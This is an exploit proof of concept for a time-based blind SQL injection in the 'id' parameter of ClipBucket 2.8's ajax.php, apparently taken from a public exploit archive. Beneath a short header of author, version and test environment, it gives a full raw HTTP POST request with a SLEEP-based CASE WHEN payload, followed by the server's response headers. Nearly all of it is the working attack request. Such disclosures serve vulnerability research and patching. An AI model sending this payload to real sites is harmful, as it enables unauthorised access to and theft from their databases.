ClipBucket 2.8 - 'id' SQL Injection

# Exploit Title: ClipBucket 2.8 - 'id' SQL Injection
# Dork: N/A
# Date: 2018-10-25
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://clipbucket.com/
# Software Link: https://sourceforge.net/projects/clipbucket/files/latest/download
# Version: 2.8.v3354
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/ajax.php
 
POST /[PATH]/ajax.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=fuobifeugni2gnt2kir6patce6
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 96
mode=rating&id=(CASE%20WHEN%20(112=112)%20THEN%20SLEEP(5)%20ELSE%20112%20END)&rating=5&type=user
HTTP/1.1 200 OK
Date: Wed, 24 Oct 2018 20:22:48 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 828
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8